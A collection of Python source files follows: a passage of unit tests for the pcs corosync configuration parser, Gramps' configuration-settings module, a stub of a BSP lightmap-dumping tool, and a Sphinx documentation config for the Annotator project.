self.assertEqual( str(root), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } } """ ), ) child1.del_section(childa1) self.assertEqual(childa1.parent, None) child1.del_section(childa2) self.assertEqual(childa2.parent, None) self.assertEqual( str(root), outdent( """\ child1 { } """ ), ) root.del_section(child1) self.assertEqual(child1.parent, None) self.assertEqual(str(root), "") def test_get_root(self): root = config_parser.Section("root") child1 = config_parser.Section("child1") child1a = config_parser.Section("child1a") root.add_section(child1) child1.add_section(child1a) self.assertEqual(root.get_root().name, "root") self.assertEqual(child1.get_root().name, "root") self.assertEqual(child1a.get_root().name, "root") def test_str(self): root = config_parser.Section("root") self.assertEqual(str(root), "") root.add_attribute("name1", "value1") self.assertEqual(str(root), "name1: value1\n") root.add_attribute("name2", "value2") root.add_attribute("name2", "value2a") root.add_attribute("name3", "value3") self.assertEqual( str(root), outdent( """\ name1: value1 name2: value2 name2: value2a name3: value3 """ ), ) child1 = config_parser.Section("child1") root.add_section(child1) self.assertEqual( str(root), outdent( """\ name1: value1 name2: value2 name2: value2a name3: value3 child1 { } """ ), ) child1.add_attribute("name1.1", "value1.1") child1.add_attribute("name1.2", "value1.2") self.assertEqual( str(root), outdent( """\ name1: value1 name2: value2 name2: value2a name3: value3 child1 { name1.1: value1.1 name1.2: value1.2 } """ ), ) child2 = config_parser.Section("child2") child2.add_attribute("name2.1", "value2.1") root.add_section(child2) self.assertEqual( str(root), outdent( """\ name1: value1 name2: value2 name2: value2a name3: value3 child1 { name1.1: value1.1 name1.2: value1.2 } child2 { name2.1: value2.1 } """ ), ) child2a = config_parser.Section("child2a") child2a.add_attribute("name2.a.1", "value2.a.1") child2.add_section(child2a) self.assertEqual( str(root), outdent( """\ name1: value1 name2: value2 name2: value2a name3: value3 child1 { name1.1: value1.1 name1.2: value1.2 } child2 { name2.1: value2.1 child2a { name2.a.1: value2.a.1 } } """ ), ) child3 = config_parser.Section("child3") root.add_section(child3) child3.add_section(config_parser.Section("child3a")) child3.add_section(config_parser.Section("child3b")) self.assertEqual( str(root), outdent( """\ name1: value1 name2: value2 name2: value2a name3: value3 child1 { name1.1: value1.1 name1.2: value1.2 } child2 { name2.1: value2.1 child2a { name2.a.1: value2.a.1 } } child3 { child3a { } child3b { } } """ ), ) class ParserTest(TestCase): # pylint: disable=too-many-public-methods def test_empty(self): self.assertEqual( str(config_parser.Parser.parse("".encode("utf-8"))), "" ) def test_attributes_one_attribute(self): string = outdent( """\ name:value\ """ ) parsed = outdent( """\ name: value """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_attributes_two_attributes_same_name(self): string = outdent( """\ name:value name:value """ ) parsed = outdent( """\ name: value name: value """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_attributes_more_attributes_whitespace(self): # pylint: disable=trailing-whitespace string = outdent( """\ name1:value1 name2 :value2 name3: value3 name4 : value4 """ ) parsed = outdent( """\ name1: value1 name2: value2 name3: value3 name4: value4 """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_attributes_colon_in_value(self): string = outdent( """\ name:foo:value """ ) parsed = outdent( """\ name: foo:value """ ) root = config_parser.Parser.parse(string.encode("utf-8")) self.assertEqual(root.get_attributes(), [["name", "foo:value"]]) self.assertEqual(str(root), parsed) def test_attributes_empty_value(self): # pylint: disable=trailing-whitespace string = outdent( """\ name : """ ) parsed = outdent( """\ name: """ ) root = config_parser.Parser.parse(string.encode("utf-8")) self.assertEqual(root.get_attributes(), [["name", ""]]) self.assertEqual(str(root), parsed) def test_sections_empty_section(self): string = outdent( """\ section1 { }\ """ ) parsed = outdent( """\ section1 { } """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_sections_empty_section_in_section_whitespace(self): # pylint: disable=trailing-whitespace string = outdent( """\ section1 { section1a { } section1b { } } """ ) parsed = outdent( """\ section1 { section1a { } section1b { } } """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_sections_no_name_before_opening(self): string = outdent( """\ section1 { { } } section2 { section2a { } section2b { } } """ ) self.assertRaises( config_parser.MissingSectionNameBeforeOpeningBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_junk_after_opening(self): string = outdent( """\ section1 { section1a {junk } } section2 { section2a { } section2b { } } """ ) self.assertRaises( config_parser.ExtraCharactersAfterOpeningBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_comment_junk_after_opening(self): string = outdent( """\ section1 { section1a { #junk } } section2 { section2a { } section2b { } } """ ) self.assertRaises( config_parser.ExtraCharactersAfterOpeningBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_junk_before_closing(self): string = outdent( """\ section1 { section1a { junk} } section2 { section2a { } section2b { } } """ ) self.assertRaises( config_parser.ExtraCharactersBeforeOrAfterClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_junk_after_closing(self): string = outdent( """\ section1 { section1a { }junk } section2 { section2a { } section2b { } } """ ) self.assertRaises( config_parser.ExtraCharactersBeforeOrAfterClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_comment_junk_after_closing(self): string = outdent( """\ section1 { section1a { } #junk } section2 { section2a { } section2b { } } """ ) self.assertRaises( config_parser.ExtraCharactersBeforeOrAfterClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_unexpected_closing_brace(self): string = outdent( """\ } """ ) self.assertRaises( config_parser.UnexpectedClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_unexpected_closing_brace_inner_section(self): string = outdent( """\ section1 { section1a { } section1b { } } } """ ) self.assertRaises( config_parser.UnexpectedClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_missing_closing_brace(self): string = outdent( """\ section1 { """ ) self.assertRaises( config_parser.MissingClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_sections_missing_closing_brace_inner_section(self): string = outdent( """\ section1 { section1a { section1b { } } """ ) self.assertRaises( config_parser.MissingClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_junk_line(self): string = outdent( """\ name1: value1 section1 { section1a { name1a: value1a } junk line section1b { } } """ ) self.assertRaises( config_parser.LineIsNotSectionNorKeyValueException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_comments_attributes(self): string = outdent( """\ # junk1 name1: value1 #junk2 name2: value2#junk3 name3: value3 #junk4 name4 # junk5: value4 #junk6 name5: value5 #junk7 """ ) parsed = outdent( """\ name1: value1 name2: value2#junk3 name3: value3 #junk4 name4 # junk5: value4 """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_comments_sections_closing_brace(self): string = outdent( """\ section { #} """ ) self.assertRaises( config_parser.MissingClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_comments_sections_opening_brace(self): string = outdent( """\ #section { } """ ) self.assertRaises( config_parser.UnexpectedClosingBraceException, config_parser.Parser.parse, string.encode("utf-8"), ) def test_full_1(self): # pylint: disable=line-too-long string = outdent( """\ # Please read the corosync.conf.5 manual page totem { version: 2 # crypto_cipher and crypto_hash: Used for mutual node authentication. # If you choose to enable this, then do remember to create a shared # secret with "corosync-keygen". # enabling crypto_cipher, requires also enabling of crypto_hash. crypto_cipher: none crypto_hash: none # interface: define at least one interface to communicate # over. If you define more than one interface stanza, you must # also set rrp_mode. interface { # Rings must be consecutively numbered, starting at 0. ringnumber: 0 # This is normally the *network* address of the # interface to bind to. This ensures that you can use # identical instances of this configuration file # across all your cluster nodes, without having to # modify this option. bindnetaddr: 192.168.1.0 # However, if you have multiple physical network # interfaces configured for the same subnet, then the # network address alone is not sufficient to identify # the interface Corosync should bind to. In that case, # configure the *host* address of the interface # instead: # bindnetaddr: 192.168.1.1 # When selecting a multicast address, consider RFC # 2365 (which, among other things, specifies that # 239.255.x.x addresses are left to the discretion of # the network administrator). Do not reuse multicast # addresses across multiple Corosync clusters sharing # the same network. mcastaddr: 239.255.1.1 # Corosync uses the port you specify here for UDP # messaging, and also the immediately preceding # port. Thus if you set this to 5405, Corosync sends # messages over UDP ports 5405 and 5404. mcastport: 5405 # Time-to-live for cluster communication packets. The # number of hops (routers) that this ring will allow # itself to pass. Note that multicast routing must be # specifically enabled on most network routers. ttl: 1 } } logging { # Log the source file and line where messages are being # generated. When in doubt, leave off. Potentially useful for # debugging. fileline: off # Log to standard error. When in doubt, set to no. Useful when # running in the foreground (when invoking "corosync -f") to_stderr: no # Log to a log file. When set to "no", the "logfile" option # must not be set. to_logfile: yes logfile: /var/log/cluster/corosync.log # Log to the system log daemon. When in doubt, set to yes. to_syslog: yes # Log debug messages (very verbose). When in doubt, leave off. debug: off # Log messages with time stamps. When in doubt, set to on # (unless you are only logging to syslog, where double # timestamps can be annoying). timestamp: on logger_subsys { subsys: QUORUM debug: off } } quorum { # Enable and configure quorum subsystem (default: off) # see also corosync.conf.5 and votequorum.5 #provider: corosync_votequorum } """ ) parsed = outdent( """\ totem { version: 2 crypto_cipher: none crypto_hash: none interface { ringnumber: 0 bindnetaddr: 192.168.1.0 mcastaddr: 239.255.1.1 mcastport: 5405 ttl: 1 } } logging { fileline: off to_stderr: no to_logfile: yes logfile: /var/log/cluster/corosync.log to_syslog: yes debug: off timestamp: on logger_subsys { subsys: QUORUM debug: off } } quorum { } """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) def test_full_2(self): string = outdent( """\ # Please read the corosync.conf.5 manual page totem { version: 2 crypto_cipher: none crypto_hash: none interface { ringnumber: 0 bindnetaddr: 10.16.35.0 mcastport: 5405 ttl: 1 } transport: udpu } logging { fileline: off to_logfile: yes to_syslog: yes logfile: /var/log/cluster/corosync.log debug: off timestamp: on logger_subsys { subsys: QUORUM debug: off } } nodelist { node { ring0_addr: 10.16.35.101 nodeid: 1 } node { ring0_addr: 10.16.35.102 nodeid: 2 } node { ring0_addr: 10.16.35.103 } node { ring0_addr: 10.16.35.104 } node { ring0_addr: 10.16.35.105 } } quorum { # Enable and configure quorum subsystem (default: off) # see also corosync.conf.5 and votequorum.5 #provider: corosync_votequorum } """ ) parsed = outdent( """\ totem { version: 2 crypto_cipher: none crypto_hash: none transport: udpu interface { ringnumber: 0 bindnetaddr: 10.16.35.0 mcastport: 5405 ttl: 1 } } logging { fileline: off to_logfile: yes to_syslog: yes logfile: /var/log/cluster/corosync.log debug: off timestamp: on logger_subsys { subsys: QUORUM debug: off } } nodelist { node { ring0_addr: 10.16.35.101 nodeid: 1 } node { ring0_addr: 10.16.35.102 nodeid: 2 } node { ring0_addr: 10.16.35.103 } node { ring0_addr: 10.16.35.104 } node { ring0_addr: 10.16.35.105 } } quorum { } """ ) self.assertEqual( str(config_parser.Parser.parse(string.encode("utf-8"))), parsed ) class VerifySection(TestCase): def test_empty_section(self): section = config_parser.Section("mySection") self.assertEqual(config_parser.verify_section(section), ([], [], [])) def test_all_valid(self): text = outdent( """\ name1: value1 name2: value2 child1 { name1_1: value1.1 name1_2: value1.2 child1A { name1A1: value } child1B { name1B1: value name1B2: value } } child2 { child2 { name: value } } """ ) section = config_parser.Parser.parse(text.encode("utf-8")) self.assertEqual(config_parser.verify_section(section), ([], [], [])) def test_bad_section(self): section = config_parser.Section("my#section") self.assertEqual( config_parser.verify_section(section), (["my#section"], [], []) ) def test_bad_attr_name(self): section = config_parser.Section("mySection") section.add_attribute("bad#name", "value1") section.add_attribute("good_name", "value2") self.assertEqual( config_parser.verify_section(section), ([], ["mySection.bad#name"], []), ) def test_bad_attr_value(self): section = config_parser.Section("mySection") section.add_attribute("bad_value", "va{l}ue1") section.add_attribute("good_value", "value2") self.assertEqual( config_parser.verify_section(section), ([], [], [("mySection.bad_value", "va{l}ue1")]), ) def test_complex(self): text = outdent( """\ name1: value1 name#2: value2 child1 { name1_1: value1.1 name1#2: value1.2 child1A { name1A1: value } child1B# { name#1B1: value name1B2: value } } child2 { child2# { na#me: value } } """ ) section = config_parser.Parser.parse(text.encode("utf-8")) # this would be rejected by the parser section.add_attribute("name1_3", "va{l}ue") self.assertEqual( config_parser.verify_section(section), ( ["child1.child1B#", "child2.child2#"], [ "name#2", "child1.name1#2", "child1.child1B#.name#1B1", "child2.child2#.na#me", ], [("name1_3", "va{l}ue")], ), )
feist/pcs
pcs_test/tier0/lib/corosync/test_config_parser.py
Python
gpl-2.0
43,397
# -*- coding: utf-8 -*- # # Gramps - a GTK+/GNOME based genealogy program # # Copyright (C) 2005-2007 Donald N. Allingham # Copyright (C) 2008-2009 Gary Burton # Copyright (C) 2009-2012 Doug Blank <doug.blank@gmail.com> # Copyright (C) 2011 Tim G L Lyons # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # """ This package implements access to GRAMPS configuration. """ #--------------------------------------------------------------- # # Gramps imports # #--------------------------------------------------------------- import os, sys import logging #--------------------------------------------------------------- # # Gramps imports # #--------------------------------------------------------------- from .const import GRAMPS_LOCALE as glocale _ = glocale.translation.gettext from .const import HOME_DIR, USER_HOME, VERSION_DIR, URL_HOMEPAGE from .utils.configmanager import ConfigManager #--------------------------------------------------------------- # # Constants # #--------------------------------------------------------------- INIFILE = os.path.join(VERSION_DIR, "gramps.ini") #--------------------------------------------------------------- # # Module functions # #--------------------------------------------------------------- def register(key, value): """ Module shortcut to register key, value """ return CONFIGMAN.register(key, value) def get(key): """ Module shortcut to get value from key """ return CONFIGMAN.get(key) def get_default(key): """ Module shortcut to get default from key """ return CONFIGMAN.get_default(key) def has_default(key): """ Module shortcut to get see if there is a default for key """ return CONFIGMAN.has_default(key) def get_sections(): """ Module shortcut to get all section names of settings """ return CONFIGMAN.get_sections() def get_section_settings(section): """ Module shortcut to get all settings of a section """ return CONFIGMAN.get_section_settings(section) def set(key, value): """ Module shortcut to set value from key """ return CONFIGMAN.set(key, value) def is_set(key): """ Module shortcut to set value from key """ return CONFIGMAN.is_set(key) def save(filename=None): """ Module shortcut to save config file """ return CONFIGMAN.save(filename) def connect(key, func): """ Module shortcut to connect a key to a callback func. Returns a unique callback ID number. """ return CONFIGMAN.connect(key, func) def disconnect(callback_id): """ Module shortcut to remove callback by ID number """ return CONFIGMAN.disconnect(callback_id) def reset(key=None): """ Module shortcut to reset some or all config data """ return CONFIGMAN.reset(key) def load(filename=None, oldstyle=False): """ Module shortcut to load an INI file into config data """ return CONFIGMAN.load(filename, oldstyle) def emit(key): """ Module shortcut to call all callbacks associated with key """ return CONFIGMAN.emit(key) #--------------------------------------------------------------- # # Register the system-wide settings in a singleton config manager # #--------------------------------------------------------------- CONFIGMAN = ConfigManager(INIFILE, "plugins") register('behavior.addmedia-image-dir', '') register('behavior.addmedia-relative-path', False) register('behavior.autoload', False) register('behavior.avg-generation-gap', 20) register('behavior.betawarn', False) register('behavior.check-for-updates', 0) register('behavior.check-for-update-types', ["new"]) register('behavior.last-check-for-updates', "1970/01/01") register('behavior.previously-seen-updates', []) register('behavior.do-not-show-previously-seen-updates', True) register('behavior.database-path', os.path.join( HOME_DIR, 'grampsdb')) register('behavior.date-about-range', 50) register('behavior.date-after-range', 50) register('behavior.date-before-range', 50) register('behavior.generation-depth', 15) register('behavior.max-age-prob-alive', 110) register('behavior.max-sib-age-diff', 20) register('behavior.min-generation-years', 13) register('behavior.owner-warn', False) register('behavior.pop-plugin-status', False) register('behavior.recent-export-type', 3) register('behavior.spellcheck', False) register('behavior.startup', 0) register('behavior.surname-guessing', 0) register('behavior.use-tips', False) register('behavior.welcome', 100) register('behavior.web-search-url', 'http://google.com/#&q=%(text)s') register('behavior.addons-url', "http://svn.code.sf.net/p/gramps-addons/code/trunk/") register('export.proxy-order', [ ["privacy", 0], ["living", 0], ["person", 0], ["note", 0], ["reference", 0], ]) register('geography.center-lon', 0.0) register('geography.lock', False) register('geography.center-lat', 0.0) register('geography.map', "person") register('geography.map_service', 1) register('geography.zoom', 0) register('geography.zoom_when_center', 12) register('geography.show_cross', False) register('geography.path', "") register('htmlview.start-url', URL_HOMEPAGE) register('htmlview.url-handler', False) register('interface.address-height', 450) register('interface.address-width', 650) register('interface.attribute-height', 350) register('interface.attribute-width', 600) register('interface.child-ref-height', 450) register('interface.child-ref-width', 600) register('interface.citation-height', 450) register('interface.citation-sel-height', 450) register('interface.citation-sel-width', 600) register('interface.citation-width', 600) register('interface.clipboard-height', 300) register('interface.clipboard-width', 300) register('interface.dont-ask', False) register('interface.view-categories', ["Dashboard", "People", "Relationships", "Families", "Ancestry", "Events", "Places", "Geography", "Sources", "Citations", "Repositories", "Media", "Notes"]) register('interface.edit-filter-width', 500) register('interface.edit-filter-height', 420) register('interface.edit-rule-width', 600) register('interface.edit-rule-height', 450) register('interface.event-height', 450) register('interface.event-ref-height', 450) register('interface.event-ref-width', 600) register('interface.event-sel-height', 450) register('interface.event-sel-width', 600) register('interface.event-width', 600) register('interface.family-height', 500) register('interface.family-sel-height', 450) register('interface.family-sel-width', 600) register('interface.family-width', 700) register('interface.filter', False) register('interface.filter-editor-width', 400) register('interface.filter-editor-height', 350) register('interface.fullscreen', False) register('interface.grampletbar-close', False) register('interface.height', 500) register('interface.ignore-gexiv2', False) register('interface.ignore-osmgpsmap', False) register('interface.ignore-webkit', False) register('interface.lds-height', 450) register('interface.lds-width', 600) register('interface.location-height', 250) register('interface.location-width', 600) register('interface.mapservice', 'OpenStreetMap') register('interface.media-height', 450) register('interface.media-ref-height', 450) register('interface.media-ref-width', 600) register('interface.media-sel-height', 450) register('interface.media-sel-width', 600) register('interface.media-width', 650) register('interface.name-height', 350) register('interface.name-width', 600) register('interface.note-height', 500) register('interface.note-sel-height', 450) register('interface.note-sel-width', 600) register('interface.note-width', 700) register('interface.open-with-default-viewer', False) register('interface.pedview-layout', 0) register('interface.pedview-show-images', True) register('interface.pedview-show-marriage', False) register('interface.pedview-tree-size', 5) register('interface.pedview-tree-direction', 2) register('interface.pedview-show-unknown-people', False) register('interface.person-height', 550) register('interface.person-ref-height', 350) register('interface.person-ref-width', 600) register('interface.person-sel-height', 450) register('interface.person-sel-width', 600) register('interface.person-width', 750) register('interface.place-height', 450) register('interface.place-name-height', 100) register('interface.place-name-width', 450) register('interface.place-ref-height', 450) register('interface.place-ref-width', 600) register('interface.place-sel-height', 450) register('interface.place-sel-width', 600) register('interface.place-width', 650) register('interface.repo-height', 450) register('interface.repo-ref-height', 450) register('interface.repo-ref-width', 600) register('interface.repo-sel-height', 450) register('interface.repo-sel-width', 600) register('interface.repo-width', 650) register('interface.sidebar-text', True) register('interface.size-checked', False) register('interface.source-height', 450) register('interface.source-ref-height', 450) register('interface.source-ref-width', 600) register('interface.source-sel-height', 450) register('interface.source-sel-width', 600) register('interface.source-width', 600) register('interface.statusbar', 1) register('interface.toolbar-on', True) register('interface.url-height', 150) register('interface.url-width', 600) register('interface.view', True) register('interface.width', 775) register('interface.surname-box-height', 150) register('paths.recent-export-dir', '') register('paths.recent-file', '') register('paths.recent-import-dir', '') register('paths.report-directory', USER_HOME) register('paths.website-directory', USER_HOME) register('paths.quick-backup-directory', USER_HOME) register('paths.quick-backup-filename', "%(filename)s_%(year)d-%(month)02d-%(day)02d.%(extension)s") register('preferences.date-format', 0) register('preferences.calendar-format-report', 0) register('preferences.cprefix', 'C%04d') register('preferences.default-source', False) register('preferences.tag-on-import', False) register('preferences.tag-on-import-format', _("Imported %Y/%m/%d %H:%M:%S")) register('preferences.eprefix', 'E%04d') register('preferences.family-warn', True) register('preferences.fprefix', 'F%04d') register('preferences.hide-ep-msg', False) register('preferences.invalid-date-format', "<b>%s</b>") register('preferences.iprefix', 'I%04d') register('preferences.name-format', 1) register('preferences.patronimic-surname', False) register('preferences.no-given-text', "[%s]" % _("Missing Given Name")) register('preferences.no-record-text', "[%s]" % _("Missing Record")) register('preferences.no-surname-text', "[%s]" % _("Missing Surname")) register('preferences.nprefix', 'N%04d') register('preferences.online-maps', False) register('preferences.oprefix', 'O%04d') register('preferences.paper-metric', 0) register('preferences.paper-preference', 'Letter') register('preferences.pprefix', 'P%04d') register('preferences.private-given-text', "[%s]" % _("Living")) register('preferences.private-record-text', "[%s]" % _("Private Record")) register('preferences.private-surname-text', "[%s]" % _("Living")) register('preferences.rprefix', 'R%04d') register('preferences.sprefix', 'S%04d') register('preferences.use-last-view', False) register('preferences.last-view', '') register('preferences.last-views', []) register('preferences.use-bsddb3', False) register('preferences.family-relation-type', 3) # UNKNOWN register('preferences.age-display-precision', 1) register('preferences.color-gender-male-alive', '#b8cee6') register('preferences.color-gender-male-death', '#b8cee6') register('preferences.color-gender-female-alive', '#feccf0') register('preferences.color-gender-female-death', '#feccf0') register('preferences.color-gender-unknown-alive', '#f3dbb6') register('preferences.color-gender-unknown-death', '#f3dbb6') #register('preferences.color-gender-other-alive', '#fcaf3e') #register('preferences.color-gender-other-death', '#fcaf3e') register('preferences.bordercolor-gender-male-alive', '#1f4986') register('preferences.bordercolor-gender-male-death', '#000000') register('preferences.bordercolor-gender-female-alive', '#861f69') register('preferences.bordercolor-gender-female-death', '#000000') register('preferences.bordercolor-gender-unknown-alive', '#8e5801') register('preferences.bordercolor-gender-unknown-death', '#000000') #register('preferences.bordercolor-gender-other-alive', '#f57900') #register('preferences.bordercolor-gender-other-death', '#000000') register('researcher.researcher-addr', '') register('researcher.researcher-locality', '') register('researcher.researcher-city', '') register('researcher.researcher-country', '') register('researcher.researcher-email', '') register('researcher.researcher-name', '') register('researcher.researcher-phone', '') register('researcher.researcher-postal', '') register('researcher.researcher-state', '') register('plugin.hiddenplugins', ['htmlview']) register('plugin.addonplugins', []) #--------------------------------------------------------------- # # Upgrade Conversions go here. # #--------------------------------------------------------------- # If we have not already upgraded to this version, # we can tell by seeing if there is a key file for this version: if not os.path.exists(CONFIGMAN.filename): # If not, let's read old if there: if os.path.exists(os.path.join(HOME_DIR, "keys.ini")): # read it in old style: logging.warning("Importing old key file 'keys.ini'...") CONFIGMAN.load(os.path.join(HOME_DIR, "keys.ini"), oldstyle=True) logging.warning("Done importing old key file 'keys.ini'") # other version upgrades here... #--------------------------------------------------------------- # # Now, load the settings from the config file, if one # #--------------------------------------------------------------- CONFIGMAN.load() config = CONFIGMAN
pmghalvorsen/gramps_branch
gramps/gen/config.py
Python
gpl-2.0
14,580
from bspanalysis_exceptions import CommandException from bspanalysis_validation import validateLump from bspdefs_base import BSPKnownLump DUMPLIGHTMAP_DESCRIPTION = "<surfaceIndex> <outFile> Dumps lightmap data from the specified surface into the specified TGA file." def loadLumpData(bspFile, knownLump): header = bspFile.header() lumpId = header.knownLumpToSpecificLump(knownLump) if lumpId is None: raise CommandException("'{0}' BSP does not implement '{1}' lump.".format(bspFile.versionDescription(), knownLump.name)) lumpObj = header.lump(lumpId) validateLump(bspFile, lumpObj) lumpData = lumpObj.dereference(bspFile.fileData) if len(lumpData) != lumpObj.length: raise CommandException("Length mismatch: expected {0} bytes of lump data from file, but got {1} bytes.".format(lumpObj.length, len(lumpData))) return lumpData def dumpLightmap(bspFile, args): cmdCount = len(args) if cmdCount < 2: print("Expected arguments: <surfaceIndex> <outFile>") return surfacesData = loadLumpData(bspFile, BSPKnownLump.Surfaces) lightingData = loadLumpData(bspFile, BSPKnownLump.Lighting)
x6herbius/afterburner
tools/bsp/bspanalysis/bspanalysis_dumplightmap.py
Python
gpl-3.0
1,113
# -*- coding: utf-8 -*- # # Annotator documentation build configuration file, created by # sphinx-quickstart on Wed Jan 22 17:02:43 2014. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import json import sys import os # By default, we do not want to use the RTD theme sphinx_rtd_theme = None # If the docs are built on readthedocs, it will be used by default if os.environ.get('READTHEDOCS') != 'True': try: import sphinx_rtd_theme except ImportError: # Now we know for sure we do not have it pass # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.todo', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Annotator' copyright = u'2014, The Annotator project contributors' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = json.load(open('../package.json'))['version'] # The full version, including alpha/beta/rc tags. release = version # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built documents. #keep_warnings = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'sphinx_rtd_theme' if sphinx_rtd_theme else 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. if sphinx_rtd_theme: html_theme_path = [ sphinx_rtd_theme.get_html_theme_path() ] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. #html_extra_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'Annotatordoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ ('index', 'Annotator.tex', u'Annotator Documentation', u'The Annotator project contributors', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'annotator', u'Annotator Documentation', [u'The Annotator project contributors'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'Annotator', u'Annotator Documentation', u'The Annotator project contributors', 'Annotator', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the "Top" node's menu. #texinfo_no_detailmenu = False
amandavisconti/infinite-ulysses-dissertation
